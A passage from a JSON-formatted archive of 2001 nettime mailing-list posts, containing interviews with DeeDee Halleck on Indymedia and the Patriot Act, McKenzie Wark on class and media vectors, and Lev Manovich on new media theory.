International Telecommunications Union.  \nThis should be the \u0084Seattle\u0093 of media: we need a convergence and a\ndemonstration of the need to nurture local media initiatives and to save\nsatellite slots for grass roots communitcation. The question is how can\nthe grassroots use of information technology be cultivated in the \"vast\nwasteland\" of global commercial (and military) hegemony of technological\nresources?  Perhaps it is time to look at the ITU and to reinsert the\npublic into their agenda. The ITU was organized before the United Nations,\nas a global agency to assign radio frequencies to prevent interference\nbetween nations.  It has the task of designating both global spectrum and\nsatellite paths.  Both of these resources are essential infrastructure for\nany communication project. At the current time, most of this supposedly\nglobal resource has been assigned to commercial entities and military\nusers.  With the collapse of the Eastern Block, the demise of the\nNon-Aligned Movement and the privatization of national telecommunications\nagencies, there is no organized resistance to the commercialization of the\nworld telecommunications infrastructure.  This is why the Murdochs and the\nMTVs of the world can have free access to their target \"markets: we are in\nthe bull's eye.\n\n An example of how communities can successfully \"tax\" corporations to\nreconfigure communication infrastructure is the public access movement in\nthe United States. Begun in the early seventies, community groups and\nvisionary city officials were able to extract from cable corporations\nprovisions that ensure public access to cable channels and equipment.  \nAlthough this movement has been ridiculed in the popular press in the US\n(a press for the most part owned by cable corporations!) it has flourished\nin many cities and provides a model for the rest of the world as to how\nexcess communication profits can be directed into \"affirmative action\" for\ninformation equity.\n\nThe local and regional models of collaboration and participation such as\npublic access and the IMCs can be the foundation to design a global system\nof information resources that sees humanity not a markets to be exploited,\nbut as participant citizens. Why not a global standard of participatory\ncommunication, asserting the public nature of global information\nresources, such as earth orbits and spectrum?  The imc\u0092s show the way.\n\nThe imc started off as a project that\u00b4s tightly linked with the\nanti-globalisation movement. Edward Said recently visited vienna and in an\ninterview doubted that the antiglobalisation-movement can be transformed\ninto a \u0084new peace movement\u0093. What would you reply?  If we can\u0092\u0092t do that\nwe are in big trouble.  The United States Patriot Act, which was passed by\nCongress last month, states that any act that could be deemed dangrous to\nhuman life, or forcing government officials to change their policies, can\nbe construed as domestic terrorism.  According to Michael Ratner, of the\nCenter for Constitutional Rights, it is not a stretch to predict that this\nwill be used against any future anti-globalization protests, or at the\nvery least against the leaders.  This law makes what in the past is civil\ndisobedience into domestic terrorism, so that acts on which there were\ncertain sentencing limits, and makes them much more serious.  Under this\nlaw it means certain acts can be called terrorism and punishable with\ntwenty years in jail.  Even thowing a rock in a Starbucks window.  If\nthere is glass that breaks and could be construed as endangering human\nbeings, that action can be tried under this act. There is also a part\nabout blocking mass transit.  So that demonstrators blocking a main\nthoroughfare or a train track could be arrested as terrorists.  This\ndirectly targets Reclaim the Streets and Critical Mass.\n\nThis law takes actions which in the past were not seen as major crimes and\nmakes them punishable as domestic terror. There is finally a growing\nreaction to the militry tribunal idea.  The reality is sinking in and\nactually the resisitance is from both the left and the right. Let\u0092s see\nwhat happens in the next few months.\n\nHere in europe nothing is being heard about the american peace movement.\nWhy?  Perhaps because European media takes their cues for internal\nreporting of the us from what is reported on CNN.  Of course thre is no\nrecognition from CNN as to the peace movement.\n\nIn the usa as well as in europe authorities are forcing the implementation\nof extensive surveillance over it\u00b4s citizens. The only solution is to\nresist.  For one thing this stuff is very expensive.  As the recession\nsettles in, it is going to get harder for the gov to tax us for all this\nnew equipment.\n\nHow does the new peace movement adress this issue? On all fronts: vigils,\nactions, theater, art, and IMC posts!  What I am doing is working on a\ndaily news program with journalist Amy Goodman.  We are doing two hours a\nday of news over satellite, community tv, public radio and the internet.\nwww.democracynow.org\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 02 Dec 2001 23:50:50 -0500",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200112031852.NAA02734 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0112/msg00013.html",
                "list": "nettime_l",
                "author_name": "dhalleck",
                "subject": "<nettime> Interview on 2 year anniversary imc --DeeDee Halleck"
            },
            {
                "content-type": "text/plai",
                "from": "geert lovink <geert {AT} xs4all.nl>",
                "id": "00162",
                "content": "\n\nEveryday Life, Third Nature and the Third Class\nAn Email Exchange Between Geert Lovink and McKenzie Wark\n\nThe New York-based Australian media theorist McKenzie Wark and I have had a\nnumber of exchanges over the years, ever since we came across each others\nwork, around 1995 when I read his first book Virtual Geography. Our topics\nof conversation ranged from 'Englishes' and the role of language on the Net,\nGerman and Anglo-Saxon media theories to the changing role of cultural\nstudies. Most of the material we compiled has not been published. The\nfollowing dialogue took place in January 1999, got updated recently and\ncenters around abstractions such as the masses (I studied 'mass psychology'\nin the late seventies), the media and the position of intellectuals.\nGL: You seem to be attempting to redefine our relation to the masses, the\neveryday day, normalcy, indeed, media. These things are related in such an\nodd, new way, so complex, so banal at the same time. Words do not fit\ntogether anymore. They do not belong to their original, common meaning. They\nstart drifting. Take my favorite punching bag, the concept of 'masses'.\nThey're not gray anymore, they shine, in flowery colors, silver (for the\ncorporates) and green/yellow for the sporty types. Masses celebrate, they no\nlonger bow towards the ground.\n\nMW: I don't know that I'm attempting to redefine our relation to the masses,\nrather it's a questioning of whether there ever were masses for us (whoever\n'we' are) to have a relation to. The idea of the mass has a particular\nhistory, going back to 19th century concepts of the mob and the crowd, which\nwere supposedly domesticated by 'mass' media. The postmodern narrative about\nthe breakup of the mass seems to me to rest on the fantasy that these prior\nconcepts described something real.\n\nWhat I think makes more sense is to question whether there ever was a mass,\nother than as a fetish object via which communication professionals, in\npublic relations, advertising, spin doctoring, or mass communication\nstudies, could claim to have an object of expertise that was amenable to\nanalysis and control. The idea of the mass assumed an object on the other\nend of a technology, via which the expert, who has knowledge of the object,\ncan assist power, which owns the means of communication.\n\nLook around, however, and what do we find? WE don't find the masses, if by\nmasses we mean something that is homogenous, but distinct from the media\ntechnology that instumentalises it. We find a patchwork of intersections, or\nmore interestingly, non- intersections. Often media and people just share\nthe same space, having nothing to do with each other. Often it seems we are\nlooking at what Guattari calls 'subjective machines', in which it is\nimpossible to unscramble the human and tech elements.\n\nThere was a moment when English-language cultural studies, in its revolt\nfrom the old communication paradigm, reversed the poles, saw the people as\nactive and sovereign users of media, rather than media as a technology via\nwhich the powerful caused something to happen to the powerless. 'The people\nmake meaning, but not with the media of their own choosing.' Rather than a\ntool of domination, media became a tool of resistance. But what if it isn't\na tool at all? What if, rather than reversing the relation between media\nobject and human subject, one considers the two together as a productive\nmachine?\n\nOne way of describing the field in which techno-media and human culture\nco-evolve and co-produce is 'everyday life'. Everyday life might be a site\nwhere the 'second nature' of our built environment is traversed by media\nvectors -- our 'third nature'. An environment which we come to think of as\n'natural' out of the habit of inhabiting it. My first book was called\nVirtual Geography, a term which might be another way of describing this zone\nof potential events and relations within which the subject experiences its\ndistinctness out of its struggle to cohere amid the lines of force that\nproduce it.\n\nBoth 'us' and 'them' (whoever we are, whoever they are) are all always\nsituated in this same virtual geography. There's no outside. So in terms of\nmethod, we proceed empirically, inductively, within this material immersion.\nThere is nothing outside the vector. There's no way to separate us from\nthem. No 'intellectuals' versus 'masses', other than as a fantasy. A fantasy\nin which intellectuals receive their identity out of their resentful\nhostility to the masses, who appear as a homogenised 'other'.\n\nBut this is just a pathology of subjectivity. A fetishising of the self. The\nmasses, it turns out, are not homogenous, but come in all colors and\nflavors. So while I agree that 'masses celebrate', it may be not that 'they\nno longer bow towards the ground'. Maybe they never did. The perception of\nthis change may be derived from the mismatch between a previous theory and a\ncurrent reality, rather than between a previous reality and a current\nreality. Maybe the theory didn't apply then either, let alone now.\n\nBecause one thing that has changed is that 'we' (whoever we are) see and\nhear what these people who are (not) masses see and hear. It's no longer the\ncase that the media are stratified into different environments -- one for\nus, one for them. The vectoral property of the media means it traverses\nevery fence, every wall, every skin. Second nature is everywhere doubled by\na 'third nature'. It crosses all boundaries and borders, including those of\nself and community, of self and other.\n\nBut that's just a theory. It has to be tackled from the other end, from\nobservation, and from conversation. It's about geography -- working out the\nvirtual geography of the overlay of second nature (the built environment)\nwith third nature (the media environment). Knowing the lay of the land that\nthe masses do not inhabit, because there are no masses, but in which rather\nthe everyday exists, as a virtual world of potential interactions. By\nidentifying the contours of the everyday, a space is defined within which it\nis possible to experiment with new kinds of liberty.\n\nGL: The masses never existed, one theory says. They have always been\nphantoms, or rather Projektionsflaechen, objects of common fears and\ndesires. But this also means that they never have disappeared, or can be\nre-invented. The same can be said of everyday life. I am not much of a\nsupporter of this idea. Of course, all concepts lack reality, and can easily\nbe taken apart into numerous smaller parts, which again fail the reality\ntest.\n\nMW: Perhaps, but I think Marx was right to counsel us to look always for the\nline of abstraction that is at work in the world itself. Abstractions are\nnot just concepts in people's heads. Abstraction is a force at work in the\nworld. Modernity is the will to abstraction made concrete. Marx identified\ncommodification as one abstraction, made possible by the general,\nquantitative equivalent, money, by its accumulation, as capital, by the\nrelations of private property that underpin it.\n\nBut I think there is another abstraction, what I would call vectoralisation.\nRelations of production can become more complex, spatially disagregated,\nbecause of communication vectors. What holds it all together is not just a\nquantitative equivalent, the circulation of money, but a qualitative\nequivalent, the circulation of information. And information, no less that\nland, labour and capital goods, has become a form of property.\n\nI think those are abstractions that are not just concepts, but are at work\nin the world. Our understanding of them is always imperfect, but one\nexplains more phenomena with fewer concepts if you follow the lines of\nabstraction that produce the experience of modernity itself in everyday\nlife.\n\nGL: Marxists rather say: classes, not masses. I have not heard that for a\nwhile either. Masses must have become unpopular somewhere in the 1970s.\nClasses have actually disappeared not much later, in the mid-eighties. It\nwas a courageous act from Kroker/Weinstein to come up with the term 'the\nvirtual class' (in their book Datatrash, 1994). Of course there were some\nMarxists still using the term, even refining the terminology (within their\nsystem of scientific socialism). I can also think of such diverse Germans\nlike Robert Kurz, Joachim Hirsch, Elmar Altvater, the Frenchman Etienne\nBallibar and of course the Italians around Antoni Negri. Still, they have\nnot come up with a dynamic, actual image that would fit into the\nacademic-artistic circles of the nineties (an exception could be the concept\nof 'immaterial labour').\n\nMW: Marxists always say that the concept of class will make a comeback --\nand for once I agree. In much of the 'overdeveloped' world, the labour\nmovement cut a deal with capital within a protected national market. While\nthe envelope of the nation appeared relatively secure, people worried\ninstead about the envelopes of communal or self identity. But media vectors\nhave gone beyond troubling the boundaries of self and community, and now\ntrouble national boundaries just as much. The proliferation of ever faster,\ncheaper, more flexible media vectors with a more and more global reach makes\npossible the colonisation of more extensive spaces by commodity relations.\nThe national space, and the national compromise between labour and capital\nhas come undone.\n\nThis shifts the anxiety toward one of two options. Either towards a\nresurgent nationalism, or towards a resurgent class awareness. Either one\ntries to fend off one's anxiety about the permeable borders of the nation,\ncommunity, and self by hardening the national boundary against the other. Or\none follows the vectoral line that traverses self, community and nation and\ndiscovers the class interest that potenitally forms along it. One either\ndemands more boundary, or one starts to question who owns and controls the\nvectors that both traverse and incite the boundary.\n\nThis is the problem that bedevils the 'anti-globalisation' movement which,\neven on the left, falls into anxiety about borders rather than seeking a new\ndeal for the vectoralisation of space, one that abandons the dialectic of\nself and other and takes up instead one based on embracing the vector but\nseeking a global, vectoral world with plural forms of ownership, not just\nprivate ownership, in which justice and wellbeing has a place alongside\nprofit and 'productivity'.\n\nBut we need a new concept of class to grasp vectoralisation. Marxists still\nthink only of the force of production, steel and concrete, as being\nmaterial. The forces of communication -- media vectors -- are also material.\nAnd like the forces of production, they and their products can be turned\ninto property -- intellectual property. If capitalism starts with the\nenclosure of land, continues with the accumulation of capital goods as\nprivate property, its next phase grows out of intellectual property. I would\nexplain it in the following fable:\n\nFirst comes the first, who work together to wrest a space of free action and\nthe possibility of free time from the earth. This class builds a second\nnature out of raw earth. Second comes the second, who quantify and profit by\nthe labours of the first. This class organises the tyranny of second nature\nover the earth, and over the first, who make second nature. Third comes the\nthird, who qualify and interpret the actions of the others, creating a\nterrain of referents for every action, a third nature that exactly covers\nsecond nature, which rationalises, justifies, questions, idealises,\ncondemns, interprets its instrumental relationship with the earth. This is\nthe class to which we belong, but we are drawn again and again to identify\nwith the others: with the nobility of the first class and its labours; with\nthe power of the second and its Property. And why not? The third class\ncreates the image of the others' loves for themselves, and even of their\nrelations with each other. (It is for this that they keep us).\n\nWe are always a class for others, we intellectuals, (or 'symbolic analysts'\nas Robert Reich calls us), for we make every myth of a group's roots and\norigins -- even this one. We were never yet a class in itself, and certainly\nnot for itself. We are the class that exists, not by taking the earth as its\nobject, and not by taking another class as its object, but by the making\nsubjective of all that the other classes have made and apportioned as\nobject. Time to get over our crush on the noble worker, or of the bold\nentrepreneur -- for that is simply to love in the place of the other the\nimage we put there for the other, whether they want it or not. We must\nbecome the very rifts that traverse us, for we are nothing but the conscious\nand creative form of relation-to-the-other itself.\n\nAnd there is nothing 'immaterial' about my labour, thank you very much. It's\na hell of a lot easier than a factory job, but it's still work. Work that\nnever ends -- there's no knock off time for the third class. It's all work,\nwork, work. Was it Verlaine who, when sleeping, put a sign on his door that\nsaid 'poet at work'?\n\nAnd here's the kicker: like any other worker, we have to sell the\ninformation we transform to the owners of the means of communication -- to\npublishers, universities, networks, dot.coms. Class is all about property,\nnot status, as Marx shows. The third class is all about intellectual\nproperty. Which is why struggles around copyright on the internet need to be\nput in a class perspective. It's the enclosure of the commons all over\nagain. And one strikes this enclosure in everyday life: the court cases\nagainst Napster, the contracts that force us to assign 'electronic rights'\nto publishers, the worthless stock options of sacked dot.bomb employees\nalong silicon alley.\n\nGL: What is the social within the wider framework of new media? Are we\nallowed to use, and introduce, such terms as 'cyber masses'? How about\nRichard Barbrook's emphasis on the guild system, when he speaks about the\nrise of the 'digital artisans'. The only term which is wide spread seems to\nbe the 'community'. The term has by now been misused in such a way that we\ncan hardly use it any longer, even pronounce. In some cases, it might even\nbe useful to use it: chat rooms, avatar worlds, mailing lists. But then I\ndoubt whether 10,000 plus users can be a community. I wonder what social\nterm then could there be for us, within the framework of a political\ncritique, useful and lively concepts, that somehow actually exist. They can\neven be potential constructs, that expire after a while, like 'everyday\nlife'.\n\nAs Guy Debord says, 'But theories are made only to die in the war of time.'\nOne theory that won't lay down and die, the vampire of the left, is its\ncrazy notion of opposing the market with something else. Stalinist\nbureaucracy, the gift economy, anything. But these alternatives all come\nwith their own terrors. I'm not arguing that there is no alternative to the\nmarket. There are lots. They are ways of escaping from capital, rather than\nopposing it, however.\n\nIt's a question of a diversity of kinds of diversity. The market is good at\ndiversity -- there's no subcultural kink it can't assimilate to its axioms,\nas Deleuze and Guattari say. The market chews through radical fashions like\nany other junk food -- it's a myth to think of opposition to capitalism as\noutside of capitalism. On the contrary, the oppositional movements merely\nconfirm capital through their resentment of it.\n\nThe irony is that it is capital that succeeds in subverting the market, not\nits radical opposition, which end up being commodified. Through\nconcentration and monopolisation, capital attempts to escape the competitive\npressure of the market. Whatever its limits, the market does allocate\nresources better than monopolies, be they corporate or state bureaucracies.\nManuel Delanda is quite right about this.\n\nThere are limits to what markets can do, however. This is the real, ongoing\npolitical struggle -- to affirm the inadequacy of the market, to affirm the\nplurality of ways of allocating resources, of existing collectively or\nautonomously in the world. Not all differences can be reduced to a price. As\nLyotard says, justice does not have a common measure. As a card carrying\nsocial democrat, I believe in a diversity of kinds of diversity -- a 'mixed\neconomy'. Not the fantasy of doing away with the market. To replace it with\nwhat?\n\nOpen source software is a good example. For the source code to be free --\nthat's a good example of the commons at work. But an open source operating\nsystem like Linux still needs the market. Programmers make high level tools\nfor each other based on the source code, and exchange them in a gift\neconomy, earning kudos and building a resume with which to get a well paying\njob. Meanwhile, if you want to actually use Linux, you're better off with\none of the cheap but still commercial versions. Programmers have to be paid\nto do the dull stuff like build an installer or some tools for the mere\nhapless 'user'. So at its best, open source a hybrid -- gift economy plus\ncommodity economy -- that's what a bazaar is.\n\nIt's better than that catherdral to monopoly greed, Microsoft, which uses\nthe privatisation of the source code of the operating system as leverage for\na monopoly. Like all monopolies, it works by roping off territory. In this\ncase, the territory of the desktop, although most monopolies rope of\nnational territories, like the monopoly phone or broadcast corporations.\n\nThe paradox of globalisation is that corporations suffer from it to the\nextent that it exposes them to the market, breaking open their neat little\nnational monopolies. So you see them all scramble to make deals to recreate\ntheir monopoly power. We've seen a great wave of this in communication\nindustries in the 90s. Ironically, the progressive policy is sometimes to\ninsist that capital work within the market, rather than subvert it. That,\nand setting limits to market based resource allocation in the name of\njustice, equity, liberty -- other kinds of good besides 'efficiency'.\n\nSome business interests resist globalisation -- and oh how they talk about\n'community' when it suits them! They're all for th national community or the\nregional or local community when they don't want to face competition, and of\ncourse the workers stuck with some half-assed deal with these local\nmonopolists can easily be persuaded that it is in their interests to put the\nrights of the local community over the rights of workers elsewhere to get\njobs, make a living. They stick to the old boundary, rather than creating\ntheir own vector. And the 'new conservatives' on the left join the racist,\nnationalist right in cheering them on. Ralph Nader joins hands with Pat\nBuchanan in opposing 'globalisation'.\n\nIf Marx teaches us anything, it is that there is a little bit of us, our\nlabour, in every commodity, and there is a little bit of every commodity\nthat goes into our own make up. The myth of community is one that severs\nthese connections. It just groups the people on the fetish of their apparent\nsameness -- ethnicity, locality. It does not deal with the real, abstract\nforce of sameness in the world -- the rendering of diverse things equivalent\nin the commodity form. the rendering of diverse spaces traversible by the\ncommunication vector.\n\nEveryday life could be a way to retrieve an awareness of this abstract\nforce -- which is what Henri Lefebvre was trying to do when he coined it.\nIts also a way of perceiving what connects the third class with the first --\nthose who work with their heads and hands -- where ever they are in the\nworld. It's a way out of the trap of 'working class community' as opposed to\nthe 'intellectual community'. Both sell their labour. Both work in a\ncommodity economy. Both have an interest in the commons -- in the capacity\nto escape from the market into other economies.\n\nGL:  I started to reconstruct the original fascination and (re)discovery of\nthe everyday life in the seventies. There must be an old anarchist/dadaist\nsaying: 'The enemy is the Public.' It was on a poster from the Berlin Tiamat\npublishing house which I had in my room. Similarly, one could state for the\nsixties: 'The enemy is Normalcy.' The hated of the boring, petty bourgeois\nlifestyle of parents, and society in general must have been unbearable in\nthose days. Perhaps it still is. In this view, normalcy is a void, a black\nhole, desert of some kind. Now how can this despicable realm ever have\nturned into some mystique? What is the secret of the everyday life? And are\nwe really sure that we want to reveal its mystery? And does it have one in\nthe first place? Studying the everyday life we will find out how power\nfunctions, right? We can thereby understand why resistance and alternatives\ndo not have a real chance. But why not stick to the outside-alien-outlaw\nposition?\n\nI don't think there's any mystery about how we got from the outlaw position\nof the 60s to the celebration of everyday life. The outlaws got tenure. The\noutlaws got elected. Danny 'The Red' Cohn-Bendit in the European Parliament!\nThe German Greens are in the federal government. This just shows how the\noutlaw margin is within, rather than opposed the everyday. It is a\ndifferentiation within, not a dialectical other outside of it. The\ninteresting outlaws reveal I think what kinds of tactics already exist as a\npotential with everyday life. Radicalism in art and politics is about the\nvirtuality of the everyday. It is an experimental, empirical way of\ndiscovering possibilities. Who knows what the everyday can become? Nobody\nknows, until the art outlaws, the style avant garde, the sex freaks, the\ntheory wranglers and vector hackers invent new possibilities.\n\nI'm fond of outlaws. I lived through punk. I grew up on the myth of the\nSurrealists, the Situationists, Fluxus, Warhol's 'silver factory'. I wrote a\ntribute to the Sydney Libertarian 'push' of my hometown in my book The\nVirtual Republic. But I'm trying to shake off a bit of old fashioned\nbourgeois culture in myself, in my belief that the Big Name Authors in these\nmovements are the sole creators of their own radical otherness as if it were\ntheir own private property. I think the everyday culture they work against\nyet within deserves a bit for credit for creating them. Which is why, in my\nbook Celebrities, Culture and Cyberspace, I cojoin everyday life, popular\nculture, and social democracy. All the 'common' things, the plurality within\nwhich the extraordinary emerge.\n\nThe idea of the mass is convenient in that it presupposes an oppositional\nminority. And it sees these as opposed 'communities'. But the everyday is\nall about difference, diversity, multiplicity. Ironically, I think that's\nthe 'radical' position now. Not making a fetish of your semiotic difference,\nbut rather intuiting the vectoral relations that produce the possibility of\nidentity in the first place. If you grasp the relations of production that\ngive rise to identity, both the production relations and the communication\nrelations, then you can see a whole universe of possibilities for envelopes\nwithin which to live, rather than just fixed identities. You see, rather\nthan this self, this community, this relation -- the 'virtual republic' of\nmultiple differences that could be in negotiation and relation. That would\nbe my 'postmodern' social democracy.\n\nGL: The 68-post-leftist-green-social-democratic-realo-pragmatists, now in\npower in Europe cannot deal anymore with today's outlaws. What they formerly\ntook to be subjects for them are now mere objects of 'policies'. Warhol\nbecame high art, expelled to museums and private collections. Or don't you\nthink in those terms of 'fatal' decay?\n\nMW:  Oh yes, what the band Devo called 'de-evolution', the accommodation of\nthe marginal within the axioms of capital, or the capture of difference as\nsomething to be administered by the state. But why should this surprise us?\nIt's only a certain romanticism that leads us to think one can escape the\nbanality of the everyday flux of market and state, society and culture.\n\nThe paradox of the most 'radical', the most revolutionary movements in art\nand politics is that it is precisely those which become pure signs, pure\nspectacle, pure commodities. The Situationists are nothing but intellectual\nproperty now -- for books and art shows, for building academic or curatorial\ncareers. The digital underground is already entering this process.\n\nWhat is less 'soluble' in the waters of the marketplace, ironically enough,\nis social democracy. It is a tradition that still functions in terms of\norganisation, which still can get its hands on the state, can still open\nlittle spaces for culture. Meanwhile Che Guavara's picture is used to sell\nproducts. Gramsci is a publishing industry. Punk is a back catalogue.\nRevolutionary romanticism is just the R&D of commodified desire.\n\nBut while it is the role, I still believe, of radical art, theory, politics\nto be exceptional, to escape the common order, everyday culture and politics\nare really something else. It's their business to be mundane. But there's\nwork that has to be done there. One has to work within everyday life for a\nculture that doesn't polarise into an us and a them. Which doesn't\nstigmatise or attack the other. Which doesn't forcible homogenise those who\nimagine they dwell within its envelope. One has to work for a majority who\nbelieve in a politics that respects liberty but uses state resources to\ncreate a commons, that makes possible a diversity of forms of economy, that\nis committed to the step by step overcoming of human misery.\n\nIts a question of accepting the modesty of one's role as an intellectual,\nwithin the space of the everyday, not in totalising -- and totalitarian --\notherness to it. It's a question of overcoming the theology of negation --\nthe priestlike power of moralistic refusal. One becomes, yes, an artisan.\nSelling one's labour to owners of the means of communication, but also\nworking in a gift economy, in forms of solidarity and exchange that are not\ncommodified. Creating tools, vectors, concepts, narratives, images that\naffirm the power of mulitplicities and the multiplicity of power.\n\nKen's new site: http://www.feelergauge.net/projects/wark/\nGeert's new archive: www.laudanum.net/geert\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Thu, 29 Nov 2001 22:43:46 +1100",
                "to": "nettime-l <nettime-l {AT} bbs.thing.net>",
                "message-id": "200111291900.OAA01664 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0111/msg00162.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with McKenzie Wark"
            },
            {
                "content-type": "text/plai",
                "from": "Daniel Palmer <e {AT} danielpalmer.com>",
                "id": "00100",
                "content": "\n[The following interview was originally published in the Australian arts\nnewspaper, Real Time, Issue 44, August-September, 2001, p25\nhttp://www.realtimearts.net/rt44/lev.html ]\n\nLev Manovich: how to speak new media\nInterviewed by Daniel Palmer\n\nLev Manovich suggests that if it had one, the subtitle of The Language of\nNew Media (MIT Press, 2001) would be: \"everything you always wanted to\nknow about new media (but were afraid to ask Dziga Vertov).\" Indeed,\ncinema is especially privileged in his ambitious examination of the\ncontinuities of new media with 'old media.' Currently an Associate\nProfessor in the Visual Arts Department at the University of California,\nSan Diego, Manovich was born in Moscow and holds advanced degrees in\ncognitive psychology and visual culture.  Working with computer media for\nalmost 20 years as an artist, designer, animator, computer programmer and\nteacher, his work has been published in more than 20 countries, and he\nfrequently lectures on new media around the world. While working on a new\nbook, Info-Aesthetics, his current artistic projects include Software for\nthe 20th Century, a set of 3 'imaginary' software applications, and\nMacro-Cinema, a set of digital films to be exhibited as an installation at\nCinema Future at ZKM next year. Manovich will be in Australia at the end\nof November to speak at conferences in Sydney and Melbourne.\n\nDP: Why the language of 'new media'-which would seem to be a historically\nvariable term-and not, for instance, 'digital culture' (given that you\nsuggest that your method might be called 'digital materialism')?\n\nLM: I decided to use 'new media' because this term is a standard one used\nboth in the field and in popular media. At the same time, the term is open\nenough, a kind of a placeholder, and I like this open character.\nHistorically, I think it appeared around 1990. Its emergence marked the\nshift from understanding the computer as a tool in the 1980s to a new\nunderstanding that the computer also came to function as a new medium (or,\nmore precisely, a number of mediums:  virtual space, network, screen-based\nmultimedia, etc).\n\nDP: Your book starts with scenes from Vertov's Man With a Movie Camera,\nends with a chapter called 'What is Cinema?', and a spool of film appears\non the cover. Why is cinema so central to your understanding of new media?\n\nLM: There are a few answers to this question. Cinema has been the most\nimportant cultural form of the 20th century, so it natural that new media\nboth inherits many conventions from cinema (similar to how cinema itself\ninherited conventions from previous 19th century forms, in particular the\nnovel) and also contains a promise of replacing cinema as the key form of\nthe 21st century. Methodologically, I find the theory of cinema is more\nrelevant to new media than, say, literary theory, because, cinema is a\ncultural form also heavily based on technology; and the evolution of film\nlanguage is closely linked to the technological developments and changes\nin cinema's industrial mode of production. Finally, I was originally\nattracted to new media in the early 1980s (then called 'computer graphics'\nand 'computer animation') because I saw in it the promise of being able to\ncreate films without big budgets, lots of heavy equipment and big\ncrews-something which tools like DV cameras and Final Cut Pro running on a\nPowerbook has finally made possible, although it took about 20 years!\n\nDP: Why a formal analysis of new media?\n\nLM: Artists, designers, as well as museums and critics, need terms to talk\nabout new media work. We can talk about a painting using such terms as\n'composition', 'flatness', 'colour scheme' and we can talk about a film\nusing such terms as 'plot', 'cinematography', and 'editing.' With new\nmedia, the existing discourse focuses on 2 extremes: either purely\nindustrial terms such as 'Flash animation' or 'JPEG image' (which all\ndescribe software used and don't tell you much about the work's poetics\nand the user's experience of it), or rather abstract theoretical terms\ncreated during the previous historical period (between 1968 and 1989, ie\nbetween the student revolutions of 1968 and the fall of the Berlin Wall\nand the end of Soviet Communism) such as 'rhizome' and 'simulation.' I\nwould like to help develop a vocabulary that will fill in the gap between\nthese 2 extremes. The focus of my work is on trying to come up with new\nterms, which can be used to talk about the works-both their formal\nconstruction and also the interaction between the work and the user.  So,\nto be more precise, my analysis is not strictly formal as it is also\nconcerned with what literary theory has called 'reader response', the\nuser's experience of new media.\n\nDP: One of the distinctions you make in the book is between the database\nand narrative as competing symbolic forms. What is the significance of\nthis contemporary shift to the database?\n\nLM: The shift to the database can be understood as part of the larger\nshift from a traditional 'information-poor' society to our own\n'information-rich' society. Narrative made sense for cultures based on\ntradition and a small amount of information circulating in a culture-it\nwas a way to make sense of this information and tie it together (for\ninstance, Greek mythology). Databases can be thought of as a new cultural\nform in a society where a subject deals with huge amounts of information,\nwhich constantly keep changing. It may be impossible to tie it all\ntogether in a set of narratives, but you can put it in a database and use\na search engine to find what you are looking for, to find information\nwhich you are not aware of but which matches your interests and finally to\neven discover new categories.  In short, a narrative is replaced by a\ndirectory or index.\n\nDP: In your archaeology of the screen, a central opposition that you\narrive at is that the contemporary (realtime) screen alternates between\nthe dimensions of 'representation' and 'control.'\n\nLM: I think that the opposition 'representation-control' provides a\npractical challenge to artists and designers of new media. There are 2\ndimensions, which can be distinguished here: spatial and temporal.  \nSpatial: how do you combine controls with a fictional image flow? For\ninstance, how do you integrate menus and hot spots in an interactive film\nscreen? (This is often done by not having any menus on the screen but by\nallowing the user to control the program through the keyboard.) Temporal:\nhow do you combine immersive segments and control segments? Typically the\nway this is done so far in computer games and other interactive narratives\n(for instance, in a very interesting Blade Runner game from a few years\nago) is that an immersive section is followed by an interactive section,\nto be followed by another interactive section. More successful are the\ngames where the 2 modes co-exist, such as first-person action games like\nMario and Tomb Raider. You are the character and you continuously control\nit through a mouse or a joystick. There is another way to think about this\nopposition since we are talking about computer games. Traditional\n'non-interactive' narratives (books, movies) are more concerned with\nrepresentation and narrative immersion, what can be called 'narrative\nflow.' In contrast, all real-time games, from tennis to Unreal require the\nuser to exercise continuous control. So the challenge and promise of\ncombining a traditional narrative form such as a movie with a game is how\nto combine the 2 logics of narrative flow and realtime control into a new\naesthetics.\n\nDP: At one point you suggest that the computer is the ultimate and\nomnipresent Other of our age, and you say that the space of new media\nbecomes \"a mirror of the user's subjectivity\", but for the most part you\ndo not theorise the subjectivities enabled by new media.\n\nLM: In The Language of New Media I am more concerned with formal analysis\nof new media works and their historical formation than with users'\nsubjectivities. I am hoping to deal with the latter topic in more length\nin my next book, where I want to think through the common types of\nbehaviour/subjectivity in our culture-information access (for instance,\nweb surfing), information processing, realtime telecommunication (talking\non a cell phone, chatting online) and so on.\n\nDP: Can you elaborate on the link you make between the post-industrial\nmode of production and 'variable media'?\n\nLM: Post-industrial modes of production use computer-based design,\nmanufacturing and distribution to enable massive customisation. This\ninvolves constant updates of product lines; large sets of models/variation\nfor a single line of products (think of hundreds of different sneaker\ndesign as can be seen in Niketown and similar stores), and the idea that a\ngiven product can be customised for an individual customer. Manufacturing\ninvolves materials, ie 'hardware';  since new media is all 'software', in\nnew media computers enable more radical and more thorough customisation\nthan in manufacturing. For instance, the user of an interactive site can\nselect her own trajectory through it, thus in effect automatically\n'customising' a work for herself. Or, when you visit a commercial website,\nits engine can automatically pull the information about your previous\nvisits and your location to put up a customizsed version of the site for\nyou, including which language version you get, the ads displayed, etc.\n\nDP: Are there any current directions in art or popular culture of\nparticular interest to you?\n\nLM: I am interested in all directions in popular culture and their\ninteractions: dance culture, music, fashion, internet culture, computer\ngames, graphic and industrial design. I am trying to educate myself about\nelectronic music because I am convinced that the logic of digital media\nhistorically has always manifested itself in music before visual culture.\nIn part this is because visual culture, in particular popular visual\nculture, is often representational, ie, photographs, illustrations,\nmovies, all represent visual reality which puts limits on how images may\nlook like. So it is in music that many key new ideas of digital media\nrevealed themselves first:  